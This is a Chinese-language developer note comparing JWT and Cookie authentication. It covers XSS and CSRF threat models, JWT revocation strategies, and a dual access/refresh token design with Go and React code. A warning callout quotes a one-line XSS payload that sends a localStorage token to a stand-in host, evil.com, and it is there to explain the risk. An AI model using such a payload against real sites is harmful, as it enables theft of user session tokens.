Files
cs-note/hhs/DEV/鉴权策略/JWT vs Cookie/JWT vs Cookie.md
T
2026-05-24 11:42:38 +08:00

16 KiB
Raw Blame History

tags, create time
tags create time
JWT
Cookie
authentication
security
comparison
backend
frontend
2026-05-23 00:01

JWT vs Cookie:认证方案全景对比

概述

JWT 和 Cookie 是 Web 认证体系中两个最容易被混淆的概念。但它们根本不在同一个层面——JWT 是令牌格式(数据结构),Cookie 是存储与传输机制(浏览器行为)。把两者对立起来比较,就像拿"信件内容格式"和"邮递系统"做对比一样,维度完全不同。

本文从架构、安全、工程实践三个角度,系统对比两者,并给出组合使用的最佳实践。

[!question] 先想一个问题 JWT 存在哪里?Cookie 存在哪里?如果你的答案是"JWT 存客户端,Cookie 存浏览器",那说明这个误区正好是本文要澄清的。

JWT 是一段数据,它可以存在 localStorage、内存变量、甚至 Cookie 里。Cookie 是浏览器的一种存储和传输机制,它可以存 JWT,也可以存 Session ID,或者任何字符串。

两者的关系是:JWT 需要一个载体,Cookie 是候选载体之一。

核心定位

层次模型

flowchart TB
    subgraph Transport["传输层 — 数据怎么送到服务端"]
        A["Authorization 头 — 前端手动注入"]
        B["Cookie — 浏览器自动携带"]
        C["URL 参数 — 不推荐"]
    end

    subgraph Format["数据层 — 送的是什么"]
        D["JWT — 签名的 JSON 令牌"]
        E["Session ID — 随机 UUID"]
        F["自定义 Token — 任意字符串"]
    end

    subgraph Storage["存储层 — 存在哪里"]
        G["localStorage — JS 可读写"]
        H["HTTP-only Cookie — JS 不可读"]
        I["内存变量 — 刷新即失"]
        J["服务端 Session Store — Redis/DB"]
    end

    D --> A
    D --> B
    E --> B
    F --> A

    A --> G
    A --> I
    B --> H
    E --> J

概念对比

维度 JWT Cookie
本质 令牌格式(数据载体) 存储与传输机制(浏览器行为)
类比 信件内容的格式规范 邮递系统(自动送信)
谁控制 开发者手动管理生命周期 浏览器根据响应头自动管理
数据可见性 Base64 可解码(但签名防篡改) 明文存储(除非加密)
标准 RFC 7519 RFC 6265

[!tip] 关键区分 问自己一个问题:"这个方案里,浏览器有没有自动帮我传数据?"

  • 有 → 用的是 Cookie 传输(不管里面存的是 Session ID 还是 JWT)
  • 没有 → 前端代码手动设 Authorization 头(JWT 或其他 Token)

安全模型对比

JWT + Authorization 头和 Cookie 的安全攻防完全不同,因为攻击面不同。

攻击面总览

flowchart LR
    subgraph JWT_Auth["JWT + Authorization 头"]
        direction TB
        JA1["存储位置, localStorage"]
        JA2["传输方式, 前端手动注入"]
        JA3["主要威胁, XSS 窃取 Token"]
        JA4["CSRF 风险, 低, 不自动发送"]
    end

    subgraph Cookie_Auth["Cookie 认证"]
        direction TB
        CA1["存储位置, 浏览器 Cookie 存储"]
        CA2["传输方式, 浏览器自动携带"]
        CA3["主要威胁, CSRF 伪造请求"]
        CA4["XSS 风险, 低, HttpOnly 不可读"]
    end

XSS 攻防

XSS(跨站脚本)的核心:攻击者注入恶意 JS,窃取客户端存储的凭证。

方案 存储方式 XSS 风险 说明
JWT + localStorage JS 可读 高 一旦 XSS 漏洞被利用,localStorage.getItem('token') 直接暴露
JWT + 内存变量 JS 可读但不持久 中 刷新页面即丢失,攻击窗口小,但 XSS 执行期间仍可读取
JWT + HTTP-only Cookie JS 不可读 低 HttpOnly 阻断 JS 访问,XSS 无法直接窃取
Session ID + HTTP-only Cookie JS 不可读 低 同上,HttpOnly 是核心防线

[!warning] localStorage 是 XSS 的"自助餐" 如果你的前端存在任何 XSS 漏洞(包括第三方依赖的漏洞),localStorage 中的 JWT 就是裸奔。攻击者只需一行代码 fetch('https://evil.com/?t=' + localStorage.getItem('token')) 即可完成窃取。

而 HttpOnly Cookie 是浏览器内核级别的隔离,JS 无法通过任何 API 读取——这才是真正的纵深防御。

CSRF 攻防

CSRF(跨站请求伪造)的核心:浏览器自动携带目标域的 Cookie,攻击者借此伪造用户请求。

方案 自动携带凭证 CSRF 风险 说明
JWT + Authorization 头 否 无 Authorization 头需要 JS 手动设置,浏览器不会自动加
JWT + Cookie 是 有 和普通 Cookie 认证一样,需 SameSite / CSRF Token 防护
Session ID + Cookie 是 有 需配合 SameSite=Lax/Strict 或 CSRF Token
sequenceDiagram
    participant User as "用户"
    participant SiteB as "恶意网站 B"
    participant Server as "服务端"

    Note over SiteB: "CSRF 攻击流程"
    SiteB->>Server: "POST /transfer, Cookie 自动携带"
    Server->>Server: "Cookie 合法, 请求被处理"
    Server-->>SiteB: "转账成功"

    Note over Server: "防御 SameSite Lax"
    SiteB->>Server: "POST /transfer, Cookie 不携带"
    Server-->>SiteB: "401 Unauthorized"

[!question] 为什么 Authorization 天然免疫 CSRF? CSRF 利用的是浏览器自动携带凭证的行为。Authorization 头需要 JS 代码显式设置,浏览器不会自动注入——攻击者的恶意页面里没有你的 JS 代码,自然无法伪造 Authorization 头。

但要注意:如果你把 JWT 存在 Cookie 里(为了防 XSS),那 CSRF 风险就回来了。安全没有银弹,只有权衡。

综合安全评分

安全维度 JWT + localStorage JWT + Cookie (HttpOnly) Session + Cookie (HttpOnly)
XSS 防护 ❌ 弱 ✅ 强 ✅ 强
CSRF 防护 ✅ 天然免疫 ⚠️ 需额外防护 ⚠️ 需额外防护
传输安全 HTTPS HTTPS + Secure 属性 HTTPS + Secure 属性
令牌泄露影响 长期有效(至过期) 长期有效(至过期) 可即时吊销
实现复杂度 低 中 低

[!info] 安全结论 没有"绝对安全"的方案,只有"适合场景"的方案:

  • 对 XSS 防御有信心(CSP + 输入转义 + 无第三方脚本风险)→ JWT + localStorage,实现简单
  • 对 XSS 没信心,或安全要求高 → JWT 存 HTTP-only Cookie,但需补 CSRF 防护
  • 传统 Web,需即时吊销 → Session + Cookie,最成熟可控

传输与工程实践对比

传输行为差异

sequenceDiagram
    participant B as "浏览器"
    participant S as "服务端"

    Note over B: "方案 A, JWT + Authorization 头"
    B->>B: "JS 从 localStorage 读取 Token"
    B->>S: "GET /api/user, Authorization Bearer xxx"
    S->>S: "解析 Authorization 头, 验签"

    Note over B: "方案 B, Cookie 自动传输"
    B->>S: "GET /api/user, Cookie 自动携带"
    S->>S: "读取 Cookie 中的 Session ID 或 JWT"
工程维度 JWT + Authorization 头 Cookie 自动传输
前端工作量 需手动管理 Token 存储/注入/刷新 登录后浏览器自动处理
跨域支持 天然支持(手动设头即可) 需 CORS 配置 + credentials: "include"
移动端兼容 完美(不受浏览器 Cookie 策略限制) 需要 WebView 支持
负载大小 500B~1KB(含 payload + 签名) ~36B(仅 Session ID)
服务端开销 CPU 验签(轻量) 查 Redis/DB(I/O)
实时吊销 难(需黑名单或版本号) 易(删 Session 即失效)
水平扩展 天然支持(各服务独立验签,无需共享状态) 需共享 Session 存储(Redis 等)

[!question] 为什么跨域场景倾向选 JWT + Authorization 头? Cookie 的跨域需要 CORS 配置白名单、credentials: true、且 Allow-Origin 不能用通配符——配置繁琐且容易出错。而 Authorization 头不受同源策略的 Cookie 限制,前端只需在请求拦截器里加一行,后端做标准的 Bearer Token 验证即可。

但代价是:前端要自己管理 Token 的生命周期——存储、注入、刷新、失效处理,这些都是 Cookie 浏览器自动帮你做的事。

JWT 吊销策略

JWT 最大的工程痛点之一就是实时吊销难——Token 签发后在过期前一直有效。以下是常见的应对手段:

策略 实现方式 适用场景 代价
短过期 + 自动续期 Access Token 15min,配合 Refresh Token 轮换 大多数场景的默认选择 无法秒级吊销,最长有 15min 窗口
Token 黑名单 Redis 存被吊销的 Token JTI,每次请求校验 需要精确吊销(如用户主动登出、密码重置) 引入状态存储,每次请求多一次 Redis 查询
Token 版本号 用户表维护 token_version,JWT payload 携带版本号,校验时比对 批量吊销(如"强制该用户所有设备下线") 需要查库,但比黑名单轻量
Refresh Token 轮换 每次刷新签发新的 Refresh Token,旧的立即失效 防止 Refresh Token 泄露被重放 需要 Redis 存储 Token 家族关系

[!tip] 实战建议 大部分场景用 短过期 + 黑名单 就够了。Access Token 设 15 分钟过期,用户登出或密码重置时将 Token JTI 加入 Redis 黑名单(TTL 等于 Token 剩余有效期)。不需要每次都查黑名单——只有在"安全事件"时才写入。

别试图实现"完美吊销"——那本质上就是 Session 方案了。JWT 的优势是无状态验证,频繁查库违背了它的设计初衷。

组合最佳实践:双令牌策略

真正的生产环境很少"二选一",而是两者结合,取长补短。

架构设计

flowchart TD
    subgraph Login["登录流程"]
        A["用户提交凭据"] --> B["服务端校验"]
        B -->|"成功"| C["签发 Access Token, JWT, 15min"]
        C --> D["签发 Refresh Token, UUID, 7d"]
        D --> E["Access Token 返回响应体"]
        D --> F["Refresh Token 存 HttpOnly Cookie"]
    end

    subgraph Request["API 请求"]
        G["前端从内存取 Access Token"] --> H["注入 Authorization 头"]
        H --> I["服务端验签, 无需查库"]
    end

    subgraph Refresh["Token 刷新"]
        J["Access Token 过期"] --> K["前端请求 refresh"]
        K --> L["浏览器自动带 Refresh Token Cookie"]
        L --> M{"Refresh Token 有效"}
        M -->|"是"| N["签发新 Access Token"]
        M -->|"否"| O["跳转登录页"]
    end

各层职责

组件 存储位置 生命周期 职责
Access Token 前端内存或 localStorage 15 分钟 API 调用凭证,过期即丢
Refresh Token Http-only + Secure + SameSite=Strict Cookie 7 天 仅用于换取新 Access Token

[!tip] 为什么 Refresh Token 存 Cookie 而不是 Access Token?

  • Refresh Token 访问频率低(仅在 Access Token 过期时使用),Cookie 的自动传输特性在此是优势
  • Refresh Token 是高价值目标,Http-only Cookie 防 XSS 比 localStorage 安全
  • Access Token 访问频率高,存 localStorage 可避免每次请求的 Cookie 开销,也天然免疫 CSRF

这样两者各取所长:Access Token 的便利性 + Refresh Token 的安全性。

Go 实现

// 签发双令牌
func IssueTokenPair(c *gin.Context, userID uint, role string) {
    // 1. Access Token: JWT, 短期
    accessToken, _ := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
        "sub":  userID,
        "role": role,
        "exp":  time.Now().Add(15 * time.Minute).Unix(),
    }).SignedString([]byte(os.Getenv("JWT_SECRET")))

    // 2. Refresh Token: 随机 UUID, 存 Redis
    refreshToken := uuid.New().String()
    redis.Set(ctx, "refresh:"+refreshToken, userID, 7*24*time.Hour)

    // 3. Refresh Token 存入 HttpOnly Cookie
    c.SetCookie("refresh_token", refreshToken, 7*86400, "/auth/refresh",
        "", true, true) // Secure + HttpOnly(Gin 需手动设 header)

    // 4. Access Token 返回响应体
    c.JSON(200, gin.H{"accessToken": accessToken, "expiresIn": 900})
}

// 刷新端点:从 Cookie 读 Refresh Token,签发新 Access Token
func RefreshHandler(c *gin.Context) {
    refreshToken, err := c.Cookie("refresh_token")
    if err != nil {
        c.AbortWithStatusJSON(401, gin.H{"error": "no refresh token"})
        return
    }

    userID, err := redis.Get(ctx, "refresh:"+refreshToken).Result()
    if err != nil {
        c.AbortWithStatusJSON(401, gin.H{"error": "refresh token expired"})
        return
    }

    // 签发新 Access Token(Refresh Token 不变)
    newAccessToken, _ := GenerateAccessToken(userID)
    c.JSON(200, gin.H{"accessToken": newAccessToken, "expiresIn": 900})
}

React 前端

const api = axios.create({ baseURL: "/api" });

// 请求拦截器:自动注入 Access Token
api.interceptors.request.use((config) => {
  const token = getAccessTokenFromMemory(); // 从内存读,不从 localStorage
  if (token) config.headers.Authorization = `Bearer ${token}`;
  return config;
});

// 响应拦截器:401 时自动刷新
api.interceptors.response.use(
  (res) => res,
  async (err) => {
    if (err.response?.status === 401 && !err.config._retry) {
      err.config._retry = true;
      try {
        // 调用刷新接口 — Refresh Token 由浏览器 Cookie 自动携带
        const { data } = await axios.post("/api/auth/refresh");
        setAccessTokenInMemory(data.accessToken);
        err.config.headers.Authorization = `Bearer ${data.accessToken}`;
        return api.request(err.config);
      } catch {
        window.location.href = "/login"; // 刷新失败,重新登录
      }
    }
    return Promise.reject(err);
  },
);

[!note] 为什么 Access Token 存内存而不存 localStorage? 内存变量在页面刷新后会丢失,这看起来是缺点,但恰恰是优势——XSS 攻击的窗口被缩小到当前页面生命周期。每次刷新页面都会用 Refresh Token(存在 Http-only Cookie 里,XSS 读不到)重新获取 Access Token,实现"无感续期"。

选型决策指南

flowchart TD
    A["选择认证方案"] --> B{"架构类型"}

    B -->|"传统 Web SSR"| C{"需要即时吊销"}
    C -->|"是"| D["Session + Cookie"]
    C -->|"否"| E["JWT + Cookie HttpOnly"]

    B -->|"前后端分离 SPA"| F{"安全要求"}
    F -->|"高"| G["双令牌策略 Access + Refresh"]
    F -->|"标准"| H["JWT + localStorage + Authorization 头"]

    B -->|"移动端"| I["JWT + Authorization 头, 存内存"]

    B -->|"微服务内部通信"| J["JWT 非对称签名 RS256"]

    D --> D1["Redis 存 Session, 服务端可控"]
    E --> E1["浏览器自动传输, 无需前端管理"]
    G --> G1["Access Token 内存, Refresh Token Cookie"]
    H --> H1["实现简单, 注意 XSS 防护"]
    I --> I1["无浏览器 Cookie 限制"]
    J --> J1["私钥签发, 公钥验签"]

    style D fill:#e8f4f8
    style G fill:#fde8e8
    style H fill:#fff3cd
    style I fill:#d4edda

速查表

场景 推荐方案 理由
企业后台管理系统 Session + Cookie 功能集中,需即时踢人,单体架构
前后端分离 SPA 双令牌策略 兼顾安全与体验
移动端 App JWT + Authorization 头 无 Cookie 机制,Token 存安全存储
微服务网关 JWT 非对称签名 各服务独立验签,无需查中心存储
SSO 单点登录 JWT + Cookie (Partitioned) 跨站场景需 CHIPS 支持

[!info] 没有银弹 每种方案都有取舍。选型时问自己三个问题:

  1. 能不能接受用户 Token 在过期前无法强制失效? → 能:JWT;不能:Session
  2. 前端有没有能力和意愿管理 Token 生命周期? → 有:Authorization 头;没有:Cookie
  3. 架构是否需要跨域或跨服务? → 是:JWT;否:Session 足够

答案组合起来就是你的最优解。

关联笔记

  • hhs/DEV/鉴权策略/JWT/JWT — JWT 令牌格式与认证流程详解
  • Cookie — Cookie 机制、属性与安全防护
  • SameSite 与 CSRF 防护 — SameSite 属性与 CSRF 攻防策略